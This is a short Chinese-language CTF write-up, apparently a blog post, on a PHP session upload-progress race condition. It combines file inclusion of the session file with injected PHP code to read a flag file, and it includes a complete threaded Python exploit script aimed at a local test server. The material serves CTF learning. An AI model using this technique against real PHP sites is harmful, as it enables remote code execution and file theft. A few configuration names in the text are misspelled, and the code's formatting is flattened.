这个思路来自于2019年全国大学生信息安全竞赛一个大佬writeup的web题的一个预期之外的解,出题人应该是想用一个文件包含再加上php反序列化来读取flag文件,下面这个方法没有用到php反序列化就读取到了flag文件。
下面是php7.x中session的默认配置及含义:
- session.upload_progress.cleanup 是否在上传结束清除上传进度信息,默认为on
- session.upload_progress.enabled 是否开启记录上传进度信息,默认为on
- session.uploadprogress.prefix 存储上传进度信息的变量前缀,默认为upload_progress
- session.upload_progress.name POST中代表进度信息的常量名称,默认为PHP_SESSION_UPLOAD_PROGRES如果
- _POST[session.upload_progress.name]没有被设置, 则不会报告进度
- session.serialize_handler=php session序列化存储所用的存储器(其中可能存在php反序列化漏洞)
而此思路就是通过条件竞争,不断地上传恶意代码,在session还没来得及删除就将包含session文件,从而执行恶意代码。可以通过此方法向服务器发送文件。下面是代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import requests import threading
url='http://127.0.0.1/index.php' r=requests.session() headers={ "Cookie":'PHPSESSID=123' } def POST(): while True: file={ "upload":('','') } data={ "PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>' } r.post(url,files=file,headers=headers,data=data)
def READ(): while True: event.wait() t=r.get("http://127.0.0.1/index.php?file=../tmp/tmp/sess_123") if 'flag' not in t.text: print('[+]retry') else: print(t.text) event.clear() event=threading.Event() event.set() threading.Thread(target=POST,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start()
|